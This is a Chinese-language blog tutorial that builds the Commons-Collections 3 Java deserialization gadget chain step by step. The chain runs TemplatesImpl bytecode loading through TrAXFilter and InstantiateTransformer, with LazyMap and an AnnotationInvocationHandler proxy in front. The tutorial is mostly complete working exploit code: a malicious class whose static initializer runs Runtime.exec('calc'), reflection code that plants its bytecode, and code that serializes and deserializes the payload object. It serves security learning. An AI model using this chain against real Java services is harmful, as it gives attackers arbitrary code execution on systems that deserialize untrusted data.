Java安全--CC3

CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是:

当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种关键字。

我们从ClassLoader.defineClass调用来入手。

因为defineClass都是private的,所以我们找哪里调用了defineClass并且是default类型或者public类型。defineClass有多个重载方法,最后我们锁定:

如图所示的defineClass在寻找用法时有一个com.sun.org.apache.xalan.internal.xsltc.trax包下面调用了这个重载方法,并且类型的default。

顺着这个defineClass往上,因为是default所以在同包下面我们找哪里调用了这个defineClass:

0d5fd67cf0da42219f1ed8bc40d2ca51.png 

defineTransletClasses()调用了这个方法,但是defineTransletClasses()的类型是private。我们需要寻找哪里调用了defineTransletClasses()

b776712a0ec6277272e515197bcd2a8d.png 

getTransletInstance()调用了它.而且我们发现这个方法还对这个类进行了加载(调用了newInstance()),那么这里就恰好是我们可以利用的点。

继续往下看哪里调用了getTransletInstance()

56e61e2a5908089f0796d1ba17c443fc.png 

发现newTransformer调用了它,而且newTransformer是public。那我们的寻找到这里就可以结束了,这里就可以直接调用了:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        templates.newTransformer();
    }
}

因为我们调用顺序是:

templates.newTransformer()->getTransletInstance()

所以我们从getTransletInstance方法开始看:

bd7caec12d4f0053ae68a28f5e4cb3c0.png 

这个getTransletInstance中的if语句是我们遇到的第一个问题:

这里的_name是我们肯定要赋值的,这里目前来看要求只有不为空,所以我们随便赋一个值,可以先看一下_name的类型:

我们利用反射修改:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        templates.newTransformer();
    }
}

来看第二个判断:

if (_class == null) defineTransletClasses();

因为这里的defineTransletClasses是我们要调用的方法,所以我们这里不能给_class赋值,看一下_class初始的时候是不是为空:

发现确实为空,那我们就不用修改了。

然后我们就进入到defineTransletClasses方法:

08779474f22808c7d0b5e9eafb9b851b.png 

这里有一个_bytecodes判断,这里如果为空的话会抛出异常,我们需要对这里进行赋值,先看一下_bytecodes的类型:

是一个byte类型的二维数组,值得注意的还有:

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();
}

这里对bytecodes进行了类加载,所以这里我们就传入我们要加载的恶意类的字节马:

//先编译一下这个Test类
package org.example;

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

//编译后把class文件路径找到或者复制到另外一个路径,后面需要路径来加载

修改_bytecodes:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
        
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        templates.newTransformer();
    }
}

293cdc6e8b0d40f19a3641da6190bfa1.png 

这里判断完byte之后对_tfactory进行了方法的调用,所以这里需要对_tfactory进行赋值,否则这里会报空指针报错。我们看一下_tfactory是什么:

是一个transient类型,值为空的东西。因为是transient类型,所以序列化的时候并不会被带上,我们去readObject里面看一下:

4d5d9351b924031155fbcdf3c6861c3a.png 

进行了new TransformerFactoryImpl();赋值,那我们就利用反射给他赋值为new TransformerFactoryImpl():

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        
        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
    	templates.newTransformer();


    }
}

我们尝试运行一下:

发现报错了,还是报了空指针的错误。我们只能调试跟进一下看看(报错在defineTransletClasses,我们断点就下再那里):

6a40d3c4094b4a2f97bda4503ad65a60.png 

我们调试发现报错的点在_auxClasses调用put这里,因为_auxClasses为空,所以报了空指针错误。我们有两个解决方法:

  1. 因为这里是一个if和else语句,我们满足if语句就可以不进入else,所以第一个方法就是满足if语句
  2. 给_auxClasses赋值,使得不会报错

但是第二个解决方法的话不会满足再下面一个if语句

if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

从上面调试界面就可以看出来_transletIndex已经被赋值为-1了,就算使用第二个方法不会报错也会再这一步抛出异常。所以我们只能使用第一钟解决方案。

第一种解决方案要满足的if语句是这样的:

superClass.getName().equals(ABSTRACT_TRANSLET)

要使得父类的名字和一个常量是相等的。我们看一下这个常量是什么:

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

所以我们现在需要修改一下Test类,让他继承AbstractTranslet才能满足这个条件:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

因为继承的是抽象类,所以我们需要实现里面的方法:

e05ba6f278da12d12c97aae096048476.png 

一个是抽象类里面的方法,还有一个是抽象类继承的接口的方法.

然后重新编译Test.java即可,重新运行一遍:

92b5e9695c5944521c322b92e9e91867.png 

成功弹出计算器

因为上面是通过调用某个方法触发的计算器,所以我们可以利用CC1的前半条链子来触发这个方法即可弹出计算器:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());


//        templates.newTransformer();
        Transformer[] transformers = {
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("qf");

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

执行结果:

373e8dc1b4628cc2051a14a6a8316209.png 

重新梳理一下我们的链子:

AnnotationvocationHandler.readObject
  Proxy(annotationInvocationHandler)
    LazyMap.get
    	ChainedTransformer.transform
      	   InvokerTransform.transform
        	TemplatesImpl.newTransformer
          	  defineClass
            	    newInstance
                       触发静态代码块

思考这样一个问题:如果InvokerTransformerban掉是否还有办法实现任意代码执行吗?

其实CC3就是为了绕过过滤InvokerTransformer和Runtime而生的,接下来开始正式的CC3之路

同样道理,我们从TemplatesImpl.newTransformer 查找用法

找到TrAXFilter这个类:

6bb911306c91bca56bb38a9d4d35251e.png 

可惜的是TrAXFilter这个类没有继承serialize接口:

27b31cb9ae94745444f43a0d8a169ff2.png 

所以我们只能利用class的方式想办法对这个类进行序列化,cc3的作者发现一个类:InstantiateTransformer这个类可以对传入的类进行构造,这个类的构造方法如下:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数是要构造的类的参数类型,我们想要传入TrAXFilter,看一下它的构造类型是什么:

发现是一个Templates类型的变量,所以这里第一个参数就传Templates.class

第二个参数是传入的构造参数我们想要调用templates的newTransformer。所以这里第二个参数就传templates。

所以完整就是这样:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

发现可以成功运行:

8274497d1907e31553ecd5396c5c1a8b.png 

现在我们再拼接CC1前面的链子即可:

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();

        Class<TemplatesImpl> templatesClass = TemplatesImpl.class;

        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://netcat/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        
		//这段可以注释
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //这段可以注释

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };


        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);

        InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
        Map o = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

        Object o1 = declaredConstructor.newInstance(Override.class, o);
        serialize(o1);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

小结一下链子:(这里用了白组长的截图)

ad867bb83c025c338a10d4a2e83558e8.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值